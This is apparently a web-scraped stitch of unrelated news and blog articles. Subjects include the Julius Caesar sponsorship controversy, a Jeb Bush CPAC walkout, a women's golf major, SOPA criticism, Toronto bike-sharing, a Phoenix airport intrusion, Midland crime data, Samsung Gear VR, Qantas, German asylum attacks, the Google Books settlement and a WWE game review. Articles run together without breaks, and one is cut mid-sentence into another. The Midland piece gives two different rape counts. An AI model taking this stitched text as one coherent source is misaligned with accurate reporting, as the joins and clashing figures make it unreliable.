2000, p. 161. Ibid., p. 167. DiEugenio, James. “JFK: The Ruby Connection, Gary Mack’s Follies – Part One”: http://www.ctka.net/2009/ruby_mack.html Piper, Michael Collins. Final Judgment: The Missing Link in the JFK Assassination Conspiracy. Washington, DC: The Center for Historical Review, 2000, p. 169. Ibid., pp. 170-172. Berkow, Ira. Maxwell Street: Survival in a Bazaar. New York, NY: Doubleday, 1977, p. 324. Ibid., p. 327. Ibid., p. 335. Ibid., p. 334. Ibid., pp. 326-328. AdvertisementsDonald Trump Jr. blasted a “Shakespeare in the Park” play sponsored by the New York Times and other corporations that depicts the assassination of a character that resembles President Donald Trump. “I wonder how much of this ‘art’ is funded by taxpayers,” Trump Jr. tweeted Sunday along with a link to a story about the play. (RELATED: NYT Is Sponsoring An Assassination Depiction Of Donald Trump) WATCH: “Serious question, when does ‘art’ become political speech & does that change things,” he added. (RELATED: Don Jr. Hits Back After Kathy Griffin Joked About Beheading Trump) I wonder how much of this “art” is funded by taxpayers? Serious question, when does “art” become political speech & does that change things? https://t.co/JfOmLLBJCn — Donald Trump Jr. (@DonaldJTrumpJr) June 11, 2017 According to the Public Theater’s corporate sponsorship page, the play is sponsored by NYT, Bank of America, American Express and Delta Airlines. “While Delta is a longtime sponsor of the highly respected Public Theater, we do not condone this interpretation of Julius Caesar at this summer’s Free Shakespeare in the Park,” the official account for Delta tweeted Sunday in response to questions about their involvement. While Delta is a longtime sponsor of the highly-respected Public Theater, we do not condone this interpretation of… 1/2 — Delta (@Delta) June 11, 2017 …Julius Caesar at this summer’s Free Shakespeare in the Park. *AJR 2/2 — Delta (@Delta) June 11, 2017 Guy Benson said on “Fox & Friends” that it’s probably not a coincidence that the Trump-like character is married to a woman with a “Slavic accent” and shown being stabbed to death by women and minorities. “This is so incredibly in poor taste that I’m surprised they haven’t cast Kathy Griffin frankly in the production,” Benson said. Adding later, that though he finds the play is “not a subtle statement” about the “assassination of a sitting U.S. president,” he’s “not a big fan” of the outrage and “boycotts over speech we don’t like.” Hours later, Delta announced that they were pulling funding from the theater over the Julius Caesar play, followed by Bank of America who announced plans to cut funding from the show. “No matter what your political stance may be, the graphic staging of Julius Caesar at this summer’s Free Shakespeare in the Park does not reflect Delta Air Lines’ values,” a statement from the company read. “Their artistic and creative direction crossed the line on the standards of good taste. We have notified them of our decision to end our sponsorship as the official airline of The Public Theater effective immediately.” “Bank of America supports art programs worldwide, including an 11-year partnership with The Public Theater and Shakespeare in the Park,” a message posted on the official Twitter account for Bank Of America read. The Public Theater chose to present Julius Caesar in a way that was intended to provoke and offend. Had this intention been made known to us, we would have decided not to sponsor it. We are withdrawing our funding for this production.” We are withdrawing our funding pic.twitter.com/MlaONF82FN — Bank of America News (@BofA_News) June 12, 2017 Update: This story has been updated to reflect Delta’s announcement to withdraw funding from the theater and Bank of America’s plans to cut funding for the play.NATIONAL HARBOR, Md. -- A determined band of supporters of Sen. Rand Paul (R-Ky.) walked out on former Florida Gov. Jeb Bush (R) on Friday as he spoke at the Conservative Political Action Conference. A few dozen Paul backers -- many of whom donned red "Stand With Rand" T-shirts -- quietly made their way down the middle aisle and out the door during Bush's speech. Once outside the main ballroom at the Gaylord National Convention Center, where Bush was speaking, they rowdily gathered and denounced the man many see as the Republican Party's leading candidate for president in 2016. "We're here at CPAC, and I almost think it's a joke having Jeb Bush here because he doesn't stand for conservative principles," said Timothy Simons, 21, the Connecticut chairman of Young Americans for Liberty and one of the Paul supporters who walked out. "I was part of the walkout, and I'll tell you why," said Allen Skillicorn, vice chairman of the Kane County Republican Party in Illinois. "If Jeb Bush is nominated, Hillary Clinton will be the next president of the United States.... How is he any different?" There were rumors circulating earlier in the week about a possible walkout. CPAC is traditionally dominated by a younger, more libertarian group of activists who prefer Paul and pot legalization to Common Core and hawkish national security positions. Indeed, Paul received by far the most enthusiastic reception at CPAC. His supporters shouted "President Paul!" during his speech earlier in the day, and when Donald Trump mentioned Bush's name, they filled the room with boos. Conservative radio host Laura Ingraham also came out swinging against Bush Friday morning, saying he was no different than Hillary Clinton and even mocking his wife for her shopping habits. Joey Gamrat, 17, said he was "appalled" by the walkout. Although he's a Paul supporter, he said Bush deserved credit for stepping into "enemy territory." "You may not stand with him, but that doesn't mean you just shun him. He's still a guy. He still deserves respect. He's a governor," said Gamrat. Still, some attendees had no problem walking away from Bush. Grace Charlton, a University of Virginia student and member of Young Americans for Liberty, said Bush's values just don't resonate with young conservatives. "I barely know any Jeb Bush supporters that are our age," said Charlton, who was decked out in Paul gear. "No one our age is getting out there and saying, 'Jeb Bush is the one who will help us bring freedom back to America.'" Ben Levitt, 23, said he came to Washington all the way from Canada just to check out CPAC. He said he may live an hour from the U.S. border, but he has plenty of views about Jeb Bush and why he's no different than his brother and father. "More wars, more debt, more government," Levitt said of what the Bushes are about. "I mean, a fiscal conservative can't really say, 'Oh, I really love George W. Bush.' You just can't. I loved it for eight years. I loved the Iraq war and all that. I finally saw the light, so to speak, and got really into Ron Paul and that message." Inside the auditorium, Bush was well aware that many young conservatives were hostile to him, a fact that was underscored by the tough questions he got from moderator Sean Hannity. Bush refused to cede potential voters, however, saying of those who were booing, “I’m marking them down as neutral. I want to be your second choice." His session was dedicated almost entirely to domestic policy, a departure from many of the other speeches by would-be 2016 presidential candidates at CPAC. Bush touted Florida's economic growth under his leadership from 1999-2007, and gave examples of policies he had enacted that would please conservatives. "I eliminated affirmative action by executive order," he said. "Trust me, there were a lot of people upset about this." Bush also noted that he left office with more than $9 billion in state reserves. Hannity returned frequently, however, to the two issues that most divide Bush from his party's conservative base: his education policy in Florida, which included testing standards, and his support for comprehensive immigration reform. On education, Bush sought to differentiate his policies from those of the Common Core state educational standards which have been adopted by a handful of states. "High standards by themselves aren't meaningful," he said. "They're helpful and they're better than low standards, but if there's no consequence between mediocrity and failure or excellence, then the system won't move forward." On immigration, Bush stressed the importance of securing the U.S. border, and he emphasized that immigration policy should be focused on "economic-driven immigrants" who bring specialized skills. He also spoke frankly about the need to create a path to citizenship for the millions of undocumented immigrants currently in the United States. "The simple fact is that there is no plan to deport 11 million people," Bush said. "We should give them a path to legal status where they work … and contribute to our society.” Some in the crowd cheered, but there were plenty of boos, too. Bush got universal applause at predictable spots in his appearance, like when he described Obama as a "failed president" or expressed his support for Israel and his distrust of Iran nuclear negotiations. During a "lightning round" of questions and word associations near the end of his speech, Bush showed that he can play to his crowd and end on a high note. He reaffirmed his support for "traditional marriage," dinged Hillary Clinton for her "foreign fundraising," and described himself as "a practicing reform-minded conservative."SAMMAMISH, Wash. — Canada’s Brooke Henderson kept hearing the roar of fans echoing through the trees, leaving her to wonder what was happening elsewhere on the golf course. By the end, all those roars were left just for her. And for good reason. "The way the noise echoed here was really cool," Henderson said. "I’d never experienced that before. … And then a lot of those cheers ended up being for me, which was even cooler." Henderson won her first major title Sunday, beating top-ranked Lydia Ko with a birdie on the first hole of a playoff to win the KPMG Women’s PGA Championship after overcoming a three-shot deficit on the back nine. The 18-year-old from Smiths Falls, Ont., ranked No. 4 in the world, closed with a bogey-free 6-under 65 — the best round of the week at Sahalee Country Club — to match Ko at 6-under 278. Ko finished with a 67. In the playoff on the par-4 18th, Henderson hit her second shot — a 7-iron from 155 yards — to 3 feet, while Ko’s second from farther back in the fairway left her with 20 feet. Ko missed to the left, and Henderson tapped in to cap a week that started with a hole-in-one on her fourth hole Thursday and ended with a major championship. Henderson became the second-youngest winner in a major championship, with Ko the youngest last year in the Evian Championship in France. Henderson also is the second Canadian woman to win a major championship, following Sandra Post’s victory in the 1968 event, and is projected to jump from fourth to second in the world on Monday. Her first victory came last year in Portland, Oregon. "To think about all of the incredible players that have come before me," Henderson said. "I was reading some of the names on this trophy and it’s very, very cool." Ko was bidding to become the fifth player in tour history to win three straight majors. Most times a bogey-free round with four birdies would be enough. "I’m happy with the way I played. I just got outplayed," the New Zealander said. "For Brooke to shoot 65 on the final day at a major, at a course like this is very impressive." Hamilton’s Alena Sharp tied for 22nd after shooting a final round 67 while Maude-Aimee Leblanc of Sherbrooke, Que., tied for 58th. The final round was a display of nearly flawless golf from the best after players spent the
as what the Electronic Frontier Foundation has described as the US government and private corporation blacklist of sites. Provisions of SOPA include: * Allow the US attorney general to seek a court order that would force search engines, advertisers, DNS providers, server hosts, and payment processors from having any contact with allegedly infringing websites * Allow private corporations to create their own hit lists composed of websites they feel are breaking their copyright policies * Give payment processors the power to cut off any website they work with, as long as they can provide a strong reason for why they believe a site is violating copyrights Both bills claim to be aimed at protecting intellectual property and preventing online piracy and have received predictable support from the film and music industry. In fact they pose a serious threat to democratic rights. While pandering to the intellectual property rights holders, politicians of both capitalist parties are seeking to introduce a legal framework which will allow the government to shut down entire domains, both in the US and internationally. There is widespread opposition to this blatant act of state censorship. The domain registrar Go Daddy, which had been an early supporter of the SOPA bill, was forced to change its position following a boycott call posted on the social news site reddit.com. The tech web site macobserver.com reported December 26 that Go Daddy had lost over 72,000 domain names in five days. In an “Open Letter From Internet Engineers to the US Congress” issued December 15, a group of 83 prominent engineers and inventors who had been instrumental in the development of the Internet protested against SOPA and PIPA, calling on Congress to reject both bills. Signatories to the letter include Vinct Cerf, the co-designer of the TCP/IP protocol used to transfer traffic across the Internet, and Paul Vixie, the author of BIND—the software used to run much of the Domain Name System. Referring to their role in building the various parts that make up the Internet, the letter states, “We’re just a little proud of the social and economic benefits that our project, the Internet, has brought with it.” The authors warn, “If enacted, either of these bills will create an environment of tremendous fear and uncertainty for technological innovation. … Regardless of recent amendments to SOPA, both bills will risk fragmenting the Internet’s global domain name system (DNS) and have other capricious technical consequences.... Such legislation would engender censorship that will simultaneously be circumvented by deliberate infringers while hampering innocent parties’ right and ability to communicate and express themselves.” The letter continues, “These bills are particularly egregious... because they cause entire domains to vanish from the Web, not just infringing pages or files. Worse, an incredible range of useful, law-abiding sites can be blacklisted under these proposals. In fact, it seems that this has already begun to happen under the nascent DHS/ICE seizures program.” In 2010 the Department of Homeland Security and its ICE security wing seized around eighty domains, including the popular BitTorrent search engine Torrent Finder. BitTorrent is a protocol which allows large files to be broken down into small chunks which can be distributed over multiple computers via a peer-to-peer networks and reassembled upon being downloaded to the user's computer. The protocol has long been the target of the music and movie industries despite its numerous other uses such as the distribution of free open source software. Wikileaks has also made available torrent files of its documents to be used in the event the site is shut down. In February 2011, the Spanish web site Rojadirecta was taken down in an operation targeting streaming sites aimed at preventing illegal streaming ahead of the Superbowl. The Open Letter continues, “The current bills—SOPA explicitly and PIPA implicitly—also threaten engineers who build Internet systems or offer services that are not readily and automatically compliant with censorship actions by the US Government. When we designed the Internet the first time, our priorities were reliability, robustness and minimizing central points of failure or control. We are alarmed that Congress is so close to mandating censorship-compliance as a design requirement for new Internet innovations. This can only damage the security of the network and give authoritarian governments more power over what their citizens can read and publish. “The US government has regularly claimed that it supports a free and open Internet, both domestically and abroad. We cannot have a free and open Internet unless its naming and routing systems sit above the political concerns and objectives of any one government or industry.” In fact, US Government claims to support a free and open Internet are the height of hypocrisy. In recent years, the US government has vastly expanded efforts to remove content from the Internet, including through the persecution of WikiLeaks and its founder Julian Assange. As part of its efforts against WikiLeaks, the Obama administration solicited the support of PayPal and credit card companies to block the ability of the organization to raise funds online. The American ruling class, intent on pursuing a policy of endless war and social reaction, is deeply suspicious and hostile to the free flow of ideas and information. It is this hostility that at the root of the constant efforts to increase government control of the Internet.Photo by James D. Schwartz / The Urban Country The BIXI system is coming to Toronto – and I can hardly contain my excitement. If you haven’t already heard, BIXI is Montreal’s bicycle-sharing program which was inaugurated on May 11th, 2009. It cost $15 million dollars to start and began with 300 stations around downtown Montreal with 3000 bicycles for rent. The system was expanded by the end of the summer to 5000 bicycles at 400 stations. To rent a bicycle, you simply insert your credit card into the solar-powered station to purchase a membership – at a cost of $5/day, $28/month or $78/year. You are then entitled to use the bicycle for free as long as you return the bicycle to another station within 30 minutes. This enables the system to support a high capacity of users on short trips around the city. After a successful launch in Montreal last May, BIXI has served more than 1 million users – an amazing accomplishment for its first year. The system is however shutting down now as Montreal prepares for the ensuing winter. On November 1st, BIXI started taking down the less frequently used stations and BIXI rentals will no longer be available after November 30th – making its triumphant return in May 2010. But fear not Torontonians – I have been told the BIXI system in Toronto will have no such restrictions! The city plans to keep Toronto’s BIXI system open all-year-round! A detail that has previously not been released and I had to pry out of City Hall. A recent article on BIXI in Toronto by Walrus Magazine re-ignited my BIXI nostalgia. You see, I had tested out the BIXI system in Montreal in July for 4 days and although the system isn’t perfect, I was amazed at the possibilities it has for cycling culture in Toronto. The City of Toronto had indicated it would release more details in Fall 2009 in its May 26th Staff Report – but these details have yet to be released. The Walrus Magazine article unfortunately left me with more questions than it had answered, so I began my own quest to get more information on a BIXI system for Toronto. Bixi will be implemented at no cost to the city To address my long list of questions, I started some digging at City Hall to get some more details on how a BIXI system in Toronto will look. Although the city is keeping the official details under wraps until the final agreement has been approved by council, I was able to get some information from Sean Wheldrake – the Bicycle Promotions Coordinator at City Hall – who was referred to me by Daniel Egan (Manager Pedestrian and Cycling Infrastructure). Sean explained that the city is still in negotiations, but the plan is to move forward with Public Bicycle System Company (operator of BIXI) to run Toronto’s BIXI system at absolutely no cost to the city. And despite talk of the possibility of using advertising to fund the system, Sean confirmed there will be no advertising used to fund the BIXI system. Sean also confirmed that the plan is to implement 300 stations scattered around downtown Toronto with 3,000 bicycles to start (the 1,000 number quoted in the Walrus’ article was indeed incorrect). Walrus was correct however in its assertion that the boundaries for the Toronto BIXI system will be roughly High Park in the West, Broadview Ave. in the east, Bloor St. in the north and Lake Ontario in the south. Once the agreement is approved, all the city has to do is provide the locations of the BIXI stations, and the Public Bicycle System Company will handle the rest. “On-street parking is not a priority” Next I wanted to find out what the impact would be on car lanes and parking. As you may know, Montreal turned dozens of parking spaces into BIXI stations – a point of contention amongst Montreal drivers. Perhaps not surprisingly, the city doesn’t want to head down the path of taking parking space away from drivers. “On-street parking is not a priority”, Wheldrake said. It makes sense that the city is trying to avoid possible confrontation with certain media outlets in our city that are opposed to cycling culture because they see it as a threat to driving in the city. I however, see cycling as a benefit to drivers because it can help reduce congestion by getting people out of their cars. Sean admitted that it will be a challenge to find space for the BIXI stations, but he is optimistic that this can be addressed given the easy mobility of the solar-powered BIXI stations that require no excavation. Lower Bay Street / Union Station will be a major BIXI hub The major hubs for BIXI in Toronto will be – as expected – Union station, and taller buildings where tens of thousands of people work. The idea is that businessmen and women can hop on a bike to head to a meeting instead of taking a taxi (thankfully the taxi lobby doesn’t have a strong voice in our city). I see BIXI benefiting everyone from a GO Train commuter, to a tourist, to a downtown resident, to a student. The system allows for quick jaunts from point A to point B in short time while reducing pollution and providing exercise. Although Toronto’s bicycle infrastructure has a long way to go, increasing the number of cyclists in the city will make cycling safer for everyone and it will put pressure on the city to improve cycling infrastructure in the city. BIXI is definitely ready for Toronto. In the coming months we will find out if Toronto is indeed ready for BIXI. Stay tuned for more updates on Toronto’s BIXI program as the details become available. Sean expects that information will become public in December or January. James D. Schwartz is the editor of The Urban Country and appears on most Sundays and Thursdays, and sometimes in between. View all of James’ articles here.The Arizona Republic-12 News Breaking News Team Thu Dec 26, 2013 5:06 PM Airport officials on Thursday said employees followed the correct protocol when a man ran onto the tarmac Wednesday night at Phoenix Sky Harbor International Airport. Employees in the tower saw Robert Bump, 49, climb over a barbed-wire fence at about 5:30 p.m. and run onto the tarmac and taxi-way, said Officer James Holmes, a Phoenix police spokesman. Police were notified and the pilot of the Southwest Airlines plane waiting to approach a terminal in the taxi-way turned off the plane’s engine after officials told him about the man, Holmes said. Bump hit the plane’s engine with his hands while walking toward the terminal, he said. Having the pilot turn off the engine was key to the incident not ending in tragedy, officials said. “He’s lucky to be alive,” Deputy Aviation Director Deborah Ostreicher said. Working quickly and appropriately is necessary for handling incidents such as this one, and Ostreicher credited the prompt response from police and airport employees for ending the situation without delays. “We are one of the busiest airports in the country and world. This kind of thing can happen,” Ostreicher said. The airport has many layers of security, but safety comes down to eyes and ears of trained personnel, she said. Ostreicher said the Federal Aviation Administration requires a 6-foot fence and the airport currently has an 8- to 9-foot fence with barb wire. Officials said the passengers of the plane were not in harm’s way. “You are safe as a traveler,” Ostreicher said. “As someone trying to do this, you’re in grave danger.” According to Holmes it took responding officers four minutes to reach Bump on the tarmac from the initial notification. “It was the people that made this work,” he said. Bump showed signs of alcohol impairment and possibly drug use, Holmes said. Responding officers were unable to get a reason for why Bump entered the restricted area. Bump was arrested on suspicion of entering a restricted area, which is a Class 1 misdemeanor. Danika Worthington contributed to this article.Officials: Increase in rape isn’t cause for alarm MPD patrol car MPD patrol car Image 1 of / 1 Caption Close Officials: Increase in rape isn’t cause for alarm 1 / 1 Back to Gallery While the Midland Police Department reported a 27 percent increase in reported “forcible rapes,” there is no cause for alarm, according to a former MPD detective and longtime board member of the local rape crisis center. Kay Therwhanger, who spent 35 years working for MPD, said that none of the 47 rapes reported in 2015 involved strangers, meaning the offender and victims knew each other and that the crimes were not the result of a “mad man.” MPD confirmed the statistic. “If there was a stranger out there (committing these acts), that would cause horrible alarm,” said Therwhanger, who was a board member of the Midland Rape Crisis and Children’s Advocacy Center for two decades. “That is not the case.” Forcible rape is not like some other crimes and infractions where law enforcement can be more proactive in its prevention. She said it is important to get the message out there that sexual assaults generally happen between people who know each other. She also said the Midland Rape Crisis center has been very aggressive with outreach programs. According to the crime report, released Friday, the number of forcible rapes increased by 10 from 36 in 2014. The police department, according to the city of Midland, will continue to educate individuals on ways they can protect themselves from harm. A Rape Aggression Defense class provided by the Midland Police Department, according to the city, “continues to be a popular program and provides realistic self-defense techniques that women can use to protect themselves.” This comprehensive course covers awareness, prevention, risk reduction and avoidance, while progressing on to the basics of hands-on defense training. Women can sign up for a future RAD class by calling 432-685-7964. “The feedback we received from women after taking the class is they really gained a lot from the information they learned,” MPD Chief Price Robinson said Friday. In the annual crime statistics report for 2015, Part I crimes -- those most likely to be reported and are serious in nature -- increased by 137 offenses, or 3.7 percent. The report also indicates that in 2015 there were: -- 315 aggravated assaults, 16 more than in 2014; -- 656 burglaries, 59 more than in 2014; and -- 2,544 thefts, 69 more than in 2014; -- 61 robberies, four less than in 2014; -- 181 vehicle thefts, 13 less than in 2014; -- seven murders and manslaughter by negligence, the same as in 2014. Robinson said MPD will continue its twice-monthly meetings in which officers look at emerging trends and hot spots to address problems before “they become bigger issues.” “We’re going to continue pushing information to work with the public, to get them information on awareness in (crime) areas,” Robinson said. Police have worked to increase public interaction with social media pages, Coffee with a Cop and National Night Out. The department also began using nextdoor.com, a site that other law enforcement agencies have used to spread information to particular subdivisions about crime in the area. “We want to keep the public informed about crime happening in their neighborhood so they can take precautions,” Robinson said. Category 2014 2015 Percent change Murder & Manslaughter by Negligence 7 7 0 Forcible Rape 36 46 27 Robbery 65 61 -6.15 Aggravated Assault 299 315 5.35 Burglary 597 656 9.88 Theft 2,475 2,544 2.79 Auto Theft 194 181 -6.7 Total Part I Crimes 3,673 3,810 3.7 Cassie Burton contributed to this report.Samsung is venturing boldly into the world of virtual reality, but not without one of its trusty smartphones strapped along for the ride. The company today introduced the Samsung Gear VR, a headset that plugs into the Galaxy Note 4 to create a virtual reality experience not unlike that of the Oculus Rift. The Gear VR itself is filled with various sensors, while the processor and the battery of the Galaxy Note 4 handle all the heavy lifting. After removing the visor, users can plug in their Galaxy Note 4 into the device and the 2k display will take over. Samsung is tapping Oculus to power the device, which uses Oculus’ VR store to give users access to content. The Gear VR will also be able to give users access to concerts, 360 degree tours of cities and locations, among other things. Since the Gear VR splits the resolution of the Galaxy Note 4’s 518ppi display, the experience isn’t super HD. However, in the short time we had to try out the headset, it certainly offers an interesting virtual reality experience for those who are looking for a more lightweight option. Oculus and Samsung worked diligently on this together, which gives Oculus further distribution in the market with the Oculus store and gives Samsung some credibility and established content hitting a brand new market for the first time. At launch, the Gear VR will come with some special content including a tour of Tony Stark’s Lab (as a part of a partnership with Marvel’s Avengers: Age of Ultron). IMAX is also offering trailers and samples of films to watch in a virtual theater, as well as 360-degree live-action 3D VR for perormances like Cirque Du Soleil and Zarkana. Vevo is also offering access to more than 100,000 HD music videos, live concert events, etc. Why is Samsung releasing a VR headset now? That’s anyone’s guess. I suppose the only answer is that it can. The phones are powerful enough to act as the guts for this thing and I could foresee a time when VR headsets are essentially dumb pieces of plastic that you slip your phone into to create a similar experience, with all the in-phone sensors doing all the work. Until then, you have his. VR is an exciting option for big electronics companies, with Facebook buying Oculus, Google getting more deeply immersed in Glass, and now Samsung hopping in the boat. Time will tell how the category matures, but in the short term, you can look for the Gear VR in the fall. No pricing information has been released.Qantas to split in management shake-up Updated Sorry, this video has expired Video: Qantas splits domestic and international operations (7pm TV News NSW) Qantas has announced it will split its loss-making international business from its domestic operations as key executives leave the company. The departments will be managed as two separate businesses - Qantas International and Qantas Domestic - and will report their profit results individually. Qantas's international arm has struggled as it faces increased competition and high fuel costs, while its domestic operations have continued to grow. The move is part of a five-year plan announced in August last year to revive the international operations that also includes restructuring the network. The company also announced that Jetstar chief executive Bruce Buchanan would leave after nine years with Qantas Group. He will be replaced by Jayne Hrdlicka. Mr Buchanan says he wants to explore new opportunities and help other Australian companies expand into Asia. Rob Gurney, head of commercial and freight operations for Qantas Group, also will depart. Qantas chief executive Alan Joyce said the airline's domestic business remained strong and profitable, with high customer satisfaction, but the international business was unsustainable. "Qantas International, a great airline with a rich history, is loss-making and does not deliver sustainable returns," Mr Joyce said. "However, we are committed to turning it around through the five-year strategy we announced last year, based on flying to global gateways, deeper alliances, smart investment in product and disciplined capital management. "Formally separating the management of Qantas International and Qantas Domestic will ensure that we can independently run each business according to its specific priorities and market conditions." The new structure will take effect from July 1 under the leadership of Mr Joyce. Yesterday, Qantas confirmed it would slash 500 heavy maintenance jobs, with more cuts likely, as it consolidates its heavy maintenance operations. Rival airline Virgin Australia says it will consider hiring engineers who lose their jobs in the restructure, which will see Qantas's facility at Melbourne's Tullamarine airport closed and a reduction of activity at its Avalon terminal in Victoria, with many positions shifted to Brisbane. At 12:45pm (AEST) the Qantas share price was 0.8 per cent higher at $1.44. Topics: business-economics-and-finance, company-news, air-transport, australia First postedImage copyright AFP Image caption Remchingen, southern Germany: An asylum hostel gutted by fire and a banner says "stupid" The German government says there have been almost 500 attacks on homes intended for asylum seekers this year - three times more than in 2014. German Interior Minister Thomas de Maiziere called such violence "shameful". Two-thirds of the attacks were carried out by locals who had no previous criminal record, he said. Germany expects to host at least 800,000 asylum seekers this year. Bavaria's leaders have demanded that Berlin restrict the numbers arriving. The southern state's conservative CSU government opposes Chancellor Angela Merkel's open-door policy for refugees. Yet formally the CSU is allied with her Christian Democrats (CDU). Many of the migrants reaching central Europe via the Balkans have expressed a wish to settle in Germany. Germans are split over Ms Merkel's welcome for refugees from Syria, Iraq and other conflict zones. That welcome does not extend to non-EU economic migrants. Mr de Maiziere called for tough action against those who attacked asylum seekers. Some attacks were on empty buildings, but others targeted hostels already occupied by migrants. Those responsible "must be made to understand that they are committing unacceptable offences: assault, attempted murder, arson," he said. 'Security issue' In a statement on Friday the Bavarian government threatened to go to the German Constitutional Court to compel the federal government to impose a cap on asylum seekers. Image copyright Reuters Image caption Horst Seehofer says Bavaria must step up emergency measures to handle the influx Bavaria received 241,000 migrants between 1 September and 5 October, of whom 86,000 were sent on to other German regions, the Munich authorities said. Speaking at a news conference, Bavarian state premier Horst Seehofer said "we need to restrict immigration in order to maintain the public's solidarity with those in need of protection". He also said a cap on the numbers was necessary "to guarantee our domestic security". He said the influx was not posing a terrorism threat, but "it's a question of criminality in the broadest sense". Next year Bavaria plans to appoint more than 3,700 extra public service staff to handle the crisis. Mr Seehofer's deputy Ilse Aigner said Germany could expect as many as seven million refugees, because of relatives legally joining those granted asylum in Germany. Mr Seehofer said Bavaria should have the right to refuse entry to migrants at its border with Austria. However, the federal - not Bavarian - police are responsible for border controls.By Maggie Shiels Technology reporter, BBC News, Silicon Valley One of Google's aims is to "bring the world's lost literature back to life" The battle over Google's effort to digitise the world's books and create a vast online library has intensified. Authors have until Friday to opt out of the $125m settlement the search giant made with authors and publishers. The date for comments to the New York court overseeing the class action suit was extended from Friday to Tuesday, after the filing system went down. As time ticks away, supporters and critics have been manning both sides of the debate to win the public case. 'Civil right' The settlement reached last October stemmed from a 2005 legal suit that Google faced for scanning out-of-print works without explicit permission from rights holders. If approved by a judge, Google would create a Book Rights Registry where authors and publishers could register works and be compensated. The US Student Association says access is the key in this settlement Ahead of Friday's opt-out for authors, Google lined up a number of professors, students and civil rights activists who support the deal. "We see access to knowledge as a civil right," Wade Henderson, president and chief executive of the Leadership Conference on Civil Rights, told reporters in a conference call. "Information enables individuals to learn, to create and to pursue their dreams. Access to knowledge defines the meaning of equal opportunity in a democratic society," said Mr Henderson. Have Your Say Nothing is free, and we have no way of knowing what the true cost will be. P. H. L, San Francisco Access was also the issue that led the United States Student Association to throw its weight behind the Google books programme. "Today, millions of books are accessible only to the privileged few who are accepted to universities and can actually afford to attend," said association president Gregory Cendana. "With Google books, any student anywhere in the US will have the books in the greatest libraries of the world at their fingertips." 'Unfair' The most vocal critics of the deal have largely banded together to form the Open Book Alliance. It was set up by the non-profit Internet Archive, which has its own book-scanning project and has to date digitised 500,000 books. Amazon is one of the big names trying to kill the Google books deal "Just as Gutenberg's invention of the printing press more than 700 years ago ushered in a new era of knowledge sharing, the mass digitisation of books promises to revolutionise how we read and discover books," said Peter Brantley of the alliance. "But a digital library controlled by a single company and small group of publishers would inevitably lead to higher prices and subpar services for consumers, libraries, scholars and students." Technology giants Yahoo, Microsoft and Amazon are part of the coalition along with a number of libraries and writers and journalists groups. Amazon, which competes with Google by scanning books to sell through its electronic Kindle reader, filed its own statement against the deal this week. "It is unfair to authors, publishers and others whose works would be the subject of a compulsory licence for the life of the copyright in favour of Google and the newly created Book Rights Registry," it stated. 'Fact, not fiction' The settlement is being examined by the Department of Justice which is also deciding whether to oppose the agreement. Meanwhile the Federal Trades Commission has told Google to develop a privacy policy to limit use of users' data. Critics are concerned about everything from privacy to pricing Google has responded by drawing up a new privacy policy covering its digital library, which to date includes 10 million books. "We'll work to ensure that the privacy of online readers is fact, not fiction," said FTC chairman Jon Leibowitz. Many believe the issue of rights over out-of-print books would best be solved by legislation and not the courts. "It is never a good thing for private parties to make deals for the public good," said Martin Manley, the founder of Alibris.com, an online store which sells used, rare and out-of-print books. "The public good is meant to be solved by regulators who are somewhat accountable and by legislators who are wholly accountable," Mr Manley told BBC News. A final court hearing on the settlement is planned for 7 October. Bookmark with: Delicious Digg reddit Facebook StumbleUpon What are these? E-mail this to a friend Printable versionLast year, the WWE 2K series made its debut on current-gen consoles with a heavy focus on realism. Not just graphically (although the visuals were much-improved compared to previous titles), but the gameplay also received a complete overhaul. All-new animations were created from the ground up, using authentic motion capture by actual WWE Superstars in a real WWE ring. Movement and combat felt much more deliberate, with more weight to them. A chain wrestling system and stamina meter added drama and helped matches feel closer to the product you see on WWE TV than ever before. While some fans may yearn for the days of arcade-style wrestling games like No Mercy and SmackDown! Here Comes The Pain, Visual Concepts and Yuke’s have doubled down on the realistic presentation for WWE 2K16, and the result is by far the most accurate representation of modern WWE wrestling yet seen in a video game. The developers have listened to fans’ concerns over last year’s product, and have restored a large amount of cut content to WWE 2K16. The creation suite packs way more options, including the ability to create Divas, arenas and championship belts, though story creation and move creation are still noticeably absent. Still, as with last year’s game, there is an enormous amount of fantastic user-created material that can be downloaded in WWE 2K16, including impressive recreations of missing Superstars and Divas like CM Punk, Sasha Banks, and Charlotte (not to mention characters like Spider-Man, Batman, Goku and countless others). On top of that, the default roster has been literally doubled since last year, with over 120 playable wrestlers (including 13 Divas).Those who played last year’s game will feel right at home with WWE 2K16, though some noticeable changes have been made. Just as before, matches will almost always begin with a tie-up, prompting a mini-game in which the opponents battle for control using the analog sticks. This Rock, Paper, Scissors-style system can now result in wrestlers pushing each other into the ropes or the turnbuckles to catch their breath, causing the ref to break the hold. The other major changes are to the reversal and submission systems. Reversals now have a bar, and only a small number can be done before a recharge needs to take place, similar to the stamina system. This prevents the endless spamming of reversals seen in previous WWE games, especially in the online component. It helps to give WWE 2K16’s matches a more realistic back-and-forth feel — you’ll never see wrestlers reversing every single strike and hold in an actual WWE match, not even John Cena. WWE 2K16’s submission system is the most frustrating change, now utilizing an analog mini-game similar to the chain grappling system but somehow far less intuitive and enjoyable. The idea here is to get your blue bar to hover over the opponent’s red bar long enough to get them to tap out, but the bars are so sluggish and unresponsive that it feels almost arbitrary. This led to some of the most aggravating defeats, as the AI is way too good at this mini-game and had me constantly tapping out to simple armbars and headlocks. While the button-mashing submission system from last year wasn’t great either, it is without a doubt preferable to what they’ve replaced it with. Hopefully this new system gets patched out as soon as possible, as I found myself avoiding submissions both defensively and offensively as much as possible in WWE 2K16. The MyCareer mode is back in WWE 2K16, having players create (or download) a wrestler that rises from the training grounds of the WWE Performance Center to NXT and eventually the main roster. Last year’s MyCareer mode felt very rushed and incomplete to me, with hardly any cutscenes or story and long stretches of repetitive match-ups to build your stats. While the mode can still be a bit of a slog in WWE 2K16, there’s a little more to it this time around — story elements are more prevalent, rivalries and alliances have more weight to them, and you’ll even have the opportunity to form your Superstar or Diva’s personality. This mostly happens through a series of interviews with WWE personality Renee Young, where players will choose “heel” or “face” answers to her questions. Wrestler personalities affect not only rivalries and alliances but also gameplay, as heel opponents are more likely to use cowardly tactics like using weapons when the ref isn’t looking or walking out of the match when it’s not going their way.The 2K Showcase mode returns in WWE 2K16, and once again it is one of the best parts of the game. Practically all of Stone Cold Steve Austin’s most memorable bouts are painstakingly recreated in this mode, with matches requiring players to complete a list of historical objectives to unlock stuff like new wrestlers, arenas or attires.There’s a healthy mix of engaging gameplay, historical footage, and QTE segments throughout the wide array of matches in the 2K Showcase mode, which spans from his early days in ECW and WCW to his rise in 